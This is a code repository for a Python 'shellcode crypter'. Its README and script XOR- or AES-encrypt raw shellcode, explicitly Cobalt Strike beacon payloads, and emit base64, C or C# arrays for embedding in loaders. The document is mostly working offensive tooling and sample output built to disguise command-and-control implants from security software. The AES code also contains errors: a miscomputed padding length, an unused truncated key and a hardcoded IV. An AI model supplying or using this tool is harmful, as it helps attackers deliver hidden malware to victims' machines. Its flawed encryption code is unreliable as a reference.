├── .gitignore
├── README.md
└── py-crypter.py
/.gitignore:
--------------------------------------------------------------------------------
1 | # Byte-compiled / optimized / DLL files
2 | __pycache__/
3 | *.py[cod]
4 | *$py.class
5 |
6 | # C extensions
7 | *.so
8 |
9 | # Distribution / packaging
10 | .Python
11 | build/
12 | develop-eggs/
13 | dist/
14 | downloads/
15 | eggs/
16 | .eggs/
17 | lib/
18 | lib64/
19 | parts/
20 | sdist/
21 | var/
22 | wheels/
23 | pip-wheel-metadata/
24 | share/python-wheels/
25 | *.egg-info/
26 | .installed.cfg
27 | *.egg
28 | MANIFEST
29 |
30 | # PyInstaller
31 | # Usually these files are written by a python script from a template
32 | # before PyInstaller builds the exe, so as to inject date/other infos into it.
33 | *.manifest
34 | *.spec
35 |
36 | # Installer logs
37 | pip-log.txt
38 | pip-delete-this-directory.txt
39 |
40 | # Unit test / coverage reports
41 | htmlcov/
42 | .tox/
43 | .nox/
44 | .coverage
45 | .coverage.*
46 | .cache
47 | nosetests.xml
48 | coverage.xml
49 | *.cover
50 | *.py,cover
51 | .hypothesis/
52 | .pytest_cache/
53 |
54 | # Translations
55 | *.mo
56 | *.pot
57 |
58 | # Django stuff:
59 | *.log
60 | local_settings.py
61 | db.sqlite3
62 | db.sqlite3-journal
63 |
64 | # Flask stuff:
65 | instance/
66 | .webassets-cache
67 |
68 | # Scrapy stuff:
69 | .scrapy
70 |
71 | # Sphinx documentation
72 | docs/_build/
73 |
74 | # PyBuilder
75 | target/
76 |
77 | # Jupyter Notebook
78 | .ipynb_checkpoints
79 |
80 | # IPython
81 | profile_default/
82 | ipython_config.py
83 |
84 | # pyenv
85 | .python-version
86 |
87 | # pipenv
88 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
89 | # However, in case of collaboration, if having platform-specific dependencies or dependencies
90 | # having no cross-platform support, pipenv may install dependencies that don't work, or not
91 | # install all needed dependencies.
92 | #Pipfile.lock
93 |
94 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow
95 | __pypackages__/
96 |
97 | # Celery stuff
98 | celerybeat-schedule
99 | celerybeat.pid
100 |
101 | # SageMath parsed files
102 | *.sage.py
103 |
104 | # Environments
105 | .env
106 | .venv
107 | env/
108 | venv/
109 | ENV/
110 | env.bak/
111 | venv.bak/
112 |
113 | # Spyder project settings
114 | .spyderproject
115 | .spyproject
116 |
117 | # Rope project settings
118 | .ropeproject
119 |
120 | # mkdocs documentation
121 | /site
122 |
123 | # mypy
124 | .mypy_cache/
125 | .dmypy.json
126 | dmypy.json
127 |
128 | # Pyre type checker
129 | .pyre/
130 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Python Shellcode Encrypter
2 |
3 | Python3 shellcode encryptor and obfuscator script.
4 | Uses XOR or AES encryption and outputs shellcode in different encoded formats.
5 | **_Output encrypted shellcode will be copied to clipboard in all cases except for the raw file output!_**
6 |
7 | **Runs on Windows, MacOS, and Linux!**
8 |
9 | Shellcode output formats:
10 | - Base64 encoded (`dGhpcyBpcyB0aGUgb3V0cHV0IGZvcm1hdA==`)
11 | - C hex format (`\x00\x01...`)
12 | - CSharp hex format (`0x00,0x01...`)
13 | - Chunked shellcode - Output any of the above encrypted formats and split shellcode into even "chunks" on 4 to 5 newlines
14 | - Raw file output - `shellcode-raw-encrypted.bin` file in current directory
15 |
16 |
17 | **REQUIREMENTS:**
18 | ALL Operating Systems:
19 | ```
20 | pip3 install pyperclip pycrypto pycryptodome
21 | ```
22 | Additional Linux OS requirements:
23 | ```
24 | sudo apt-get install xclip
25 | ```
26 |
27 | **GETTING STARTED:**
28 | First, generate raw shellcode from Cobalt Strike as input:
29 | ```
30 | Cobalt Strike --> Payloads --> Windows Stageless Payload
31 | --> Select Listener & Output = Raw
32 | ```
33 | Use raw **shellcode.bin** file as input to the **Py-Crypter.py** script, or use any other file type you want to encrypt+encode!
34 |
35 | --------------------------------------
36 | ## **USAGE:**
37 | ```
38 | python3 Py-Crypter.py -h
39 | usage: Py-Crypter.py [-h] [-file FILE] [-algo {xor,aes}] [-key KEY] [-output {b64,hex,csharp,raw}] [OPTIONAL: -chunked]
40 |
41 | Shellcode XOR/AES encrypter
42 |
43 | optional arguments:
44 | -h, --help show this help message and exit
45 | -file FILE, -f FILE Raw binary shellcode file from C2
46 | -algo {xor,aes}, -a {xor,aes}
47 | The encryption algorithm
48 | -key KEY, -k KEY Create a random encryption key or use key provide by input (Use "random" as argument
49 | or provide your own key)
50 | -output {b64,hex,csharp,raw}, -o {b64,hex,csharp,raw}
51 | Type of shellcode to output (args: base64, hex, csharp, raw)
52 | -chunked, -c Split shellcode into 4 even chunks (separated by new lines)
53 | ```
54 |
55 | **BASE64 encoded, encrypted format output**
56 | Format = "*IyBQeXRob24gU2hlbGxjb2RlIEVuY3J5...*"
57 | ```
58 | python3 Py-Crypter.py -f beacon64.bin -a xor -output b64 -k random
59 | [*] Shellcode input length: 334159
60 | [+] Encrypted BASE64 shellcode has been copied to Clipboard!
61 | [+] XOR KEY: 07BR0DA8K7R7E11TW6GX
62 | ```
63 |
64 | **C hex format, AES encrypted output**
65 | Format = "*\x12\x34\x56\x78\x9a...*"
66 | ```
67 | python3 Py-Crypter.py -f beacon64.bin -a aes -output hex -k MyEncryptionKey
68 | [*] Shellcode input length: 334159
69 | [+] Encrypted HEX shellcode has been copied to Clipboard!
70 | [+] AES KEY: mykeymykeyasdfgh
71 | [+] AESkey[] = { 0x6d,0x79,0x6b,0x65,0x79,0x6d,0x79,0x6b,0x65,0x79,0x61,0x73,0x64,0x66,0x67,0x68 };
72 | [+] IV[] = { 0x5c,0xf3,0x68,0x8e,0x2d,0xd5,0x7d,0x11,0xef,0x17,0xcf,0xf,0x5a,0xf4,0xf,0xef };
73 | ```
74 |
75 | **CSharp hex format, XOR encrypted output**
76 | Format = "*0xc9,0x1f,0xb3,0xac,0xc0,0xac,0x94,0x34...*"
77 | ```
78 | python3 Py-Crypter.py -f beacon64.bin -a xor -k random -o csharp
79 | [*] Shellcode input length: 334159
80 | [+] Encrypted CSharp shellcode has been copied to Clipboard!
81 | [+] XOR KEY: 5W0H0DT4U1FS0CKP
82 | ```
83 |
84 | **Chunked shellcode using one of the above output formats**
85 | Format =
86 | *txq03L7Q90xXMhAaBmUVZx0aBuorcLweN3raGV9...*
87 | *ahfHFQ4ZSpe+x75LUjdwy/hDKx8zgRvMfV9ywBI...*
88 | *aJoy7R9ywBITcU/oUQ3cPhkPzHVbf0qCdrNKsH9...*
89 | *NktSNzhOcLrBVjNRSwaPdr0k1cjt9dgqZl1z6+3...*
90 | ```
91 | python3 Py-Crypter.py -f beacon64.bin -a xor -k random -o b64 -chunked
92 | [*] Shellcode input length: 334159
93 | [+] Chunking shellcode into 4-5 parts with average length of 92
94 | [+] Encrypted BASE64 shellcode has been copied to Clipboard!
95 | [+] XOR Encryption KEY: KR78N87LW2QKG5G6
96 | ```
97 |
98 | **RAW binary, XOR encrypted output (UTF-8 encoding)**
99 | ```
100 | python3 Py-Crypter.py -f beacon64.bin -a xor -o raw -k random
101 | [*] Shellcode input length: 334159
102 | [+] Saving encrypted shellcode to output binary file
103 | [+] Output file name: shellcode-raw-encrypted.bin
104 | [+] XOR KEY: FL4PKBJ1AU30DBQT1W0Q
105 | ```
106 |
--------------------------------------------------------------------------------
/py-crypter.py:
--------------------------------------------------------------------------------
1 | ### Python3 script
2 | import sys, base64, random, string, argparse, os
3 | import pyperclip # clipboard for all OS's
4 | # AES stuff
5 | from Crypto.Cipher import AES
6 | from Crypto.Util.Padding import pad
7 | from Crypto import Random
8 |
9 |
10 | def main(args=sys.argv[1:]):
11 | # Instantiate the argument parser
12 | parser = argparse.ArgumentParser(description='Shellcode XOR/AES encrypter')
13 | parser.add_argument('-file', '-f', help="Raw binary shellcode file from C2")
14 | parser.add_argument('-algo', '-a', type=str, help="The encryption algorithm", choices=['xor', 'aes'])
15 | parser.add_argument('-key', '-k', default='random', type=str, help="Create a random encryption key or use key provide by input (Use \"random\" as argument or provide your own key)")
16 | parser.add_argument('-output', '-o', type=str, help="Type of shellcode to output (args: base64, hex, csharp, raw)", choices=['b64','hex','csharp','raw'])
17 | parser.add_argument('-chunked', '-c', help="Split shellcode into 4 even chunks (separated by new lines)", action='store_true', required=False)
18 | args = parser.parse_args(args)
19 |
20 | inputFile = args.file
21 | output = args.output
22 | algo = args.algo
23 | key = args.key
24 | chunk = args.chunked
25 |
26 | if not inputFile:
27 | print("[-] ERROR! Missing input file parameter '-f'")
28 | print("[-] Enter '-h' for help menu")
29 | sys.exit()
30 | elif not output:
31 | print("[-] ERROR! Missing output type parameter '-o'")
32 | print("[-] Enter '-h' for help menu")
33 | sys.exit()
34 | elif not algo:
35 | print("[-] ERROR! Missing algorithm parameter '-a'")
36 | print("[-] Enter '-h' for help menu")
37 | sys.exit()
38 |
39 | IV = None # init IV for AES
40 |
41 | # Get shellcode from input file
42 | shellcode = getShellcode(inputFile)
43 |
44 | print(f'[*] Shellcode input length: {len(shellcode)}')
45 |
46 | if key == 'random':
47 | encKey = ''.join(random.choices(string.ascii_uppercase + string.digits, k=16))
48 | else:
49 | encKey = key
50 |
51 | # Perform XOR encryption with random generated key
52 | if algo == 'xor':
53 | encryptedShellCode = bytearray(byt ^ ord(encKey[i % len(encKey)]) for i, byt in enumerate(shellcode))
54 |
55 | # Perform AES encryption
56 | elif algo == 'aes':
57 | # Hardcoded IV - Change as needed
58 | IV = b'1234567890123456'
59 |
60 | #KEY = get_random_bytes(16)
61 | AES_Key = bytes(encKey, 'utf-8')
62 |
63 | if (len(encKey) != 16) and (len(encKey) != 24) and (len(encKey) != 32):
64 | print("[-] ERROR! AES encryption must use key length of 16, 24 or 32")
65 | print("[-] Enter a new key or use '-k random' to auto-generate a key")
66 | sys.exit()
67 |
68 | encryptedShellCode = AESencrypt(AES_Key, IV, shellcode)
69 |
70 |
71 | ########## Output Encoding Functions ##########
72 |
73 | # Copy encrypted base64 shellcode to Clipboard
74 | if output == 'b64':
75 | base64Shellcode = b64EncodeShellCode(encryptedShellCode)
76 |
77 | # Copy base64 encrypted shellcode to clipboard
78 | copyShellcodeToClipboard(base64Shellcode, chunk)
79 | print("[+] Encrypted BASE64 shellcode has been copied to Clipboard!")
80 |
81 |
82 | # Copy encrypted hex shellcode to Clipboard
83 | elif output == 'hex':
84 | # Get hex encrypted shellcode and print
85 | encryptedHexCode = getEncryptedHexShellcode(bytearray(encryptedShellCode))
86 |
87 | # Copy hex encrypted shellcode to clipboard
88 | copyShellcodeToClipboard(encryptedHexCode, chunk)
89 | print("[+] Encrypted {} shellcode has been copied to Clipboard!".format(algo.upper()))
90 |
91 |
92 | elif output == 'csharp':
93 | encryptedCSharpCode = getEncryptedHexCSharpShellcode(encryptedShellCode)
94 |
95 | # Copy CSharp encrypted shellcode to clipboard
96 | copyShellcodeToClipboard(encryptedCSharpCode, chunk)
97 | print("[+] Encrypted CSharp shellcode has been copied to Clipboard!")
98 |
99 |
100 | # Save encrypted raw binary to output file
101 | elif output == 'raw':
102 | filename = "shellcode-raw-encrypted.bin"
103 | print("[+] Saving encrypted shellcode to output binary file")
104 | print("[+] Output file name: " + filename)
105 |
106 | outputFile = open(filename,"wb")
107 | for byte in encryptedShellCode:
108 | outputFile.write(byte.to_bytes(1,byteorder='big'))
109 |
110 |
111 | ########## Print encryption key ##########
112 | print("[+] {} Encryption KEY: {}".format(algo.upper(), encKey)) # AES/XOR key
113 | # Print AES key and IV
114 | if IV:
115 | print('[+] AESkey[] = { 0x' + ',0x'.join(hex(x)[2:] for x in bytes(encKey, 'utf-8')) + ' };')
116 | print("[+] IV: {}".format(IV))
117 | print('[+] IV[] = { 0x' + ',0x'.join(hex(x)[2:] for x in IV) + ' };')
118 |
119 | #end main()
120 |
121 | ##################### Script Functions #####################
122 |
123 | def getShellcode(filePath):
124 | # RAW shellcode
125 | with open(filePath, 'rb') as shellcode_file:
126 | file_shellcode = shellcode_file.read()
127 | return file_shellcode
128 |
129 |
130 | def copyShellcodeToClipboard(shellcode, chunk):
131 | #Check if we split shellcode into chunks from command-line input "-chunked"
132 | if chunk:
133 | n = round(len(shellcode) / 4)
134 | print(f"[+] Chunking shellcode into 4-5 parts with average length of {n}")
135 | chunks = [shellcode[i:i+n] for i in range(0, len(shellcode), n)]
136 | listToStr = '\n'.join([str(elem) for i,elem in enumerate(chunks)])
137 | pyperclip.copy(listToStr)
138 | #Otherwise output shellcode in normal format (one long string)
139 | else:
140 | pyperclip.copy(shellcode)
141 |
142 |
143 | def b64EncodeShellCode(shellcode):
144 | # Base64 encode the shellcode
145 | return base64.b64encode(shellcode).decode('ascii')
146 |
147 |
148 | def getEncryptedHexShellcode(shellcode):
149 | sc = "\""
150 | ctr = 0
151 |
152 | for byte in shellcode:
153 | sc += "\\x%02x" % byte
154 |
155 | # Print shellcode separated on new lines
156 | if ctr == 50:
157 | sc += "\"\n\""
158 | ctr = 0
159 | ctr += 1
160 | return sc
161 |
162 |
163 | def getEncryptedHexCSharpShellcode(shellcode):
164 | output = ""
165 | for byte in bytearray(shellcode):
166 | output += '0x'
167 | output += '%02x,' % byte
168 | return output[:-1] #remove last , character at the end
169 |
170 |
171 | # AES encryption
172 | def AESencrypt(key, iv, shellcode):
173 | key_length = len(key)
174 | if (key_length >= 32):
175 | k = key[:32]
176 | elif (key_length >= 24):
177 | k = key[:24]
178 | else:
179 | k = key[:16]
180 |
181 | aes = AES.new(key, AES.MODE_CBC, iv)
182 | pad_text = AESpad(shellcode, 16)
183 | return aes.encrypt(pad_text)
184 |
185 |
186 | # AES padding input
187 | def AESpad(data, block_size):
188 | padding_size = (block_size - len(data)) % block_size
189 | if padding_size == 0:
190 | padding_size = block_size
191 | padding = (bytes([padding_size]) * padding_size)
192 | return data + padding
193 |
194 |
195 | ##################### Main #####################
196 | if __name__ == '__main__':
197 | main()
198 |
--------------------------------------------------------------------------------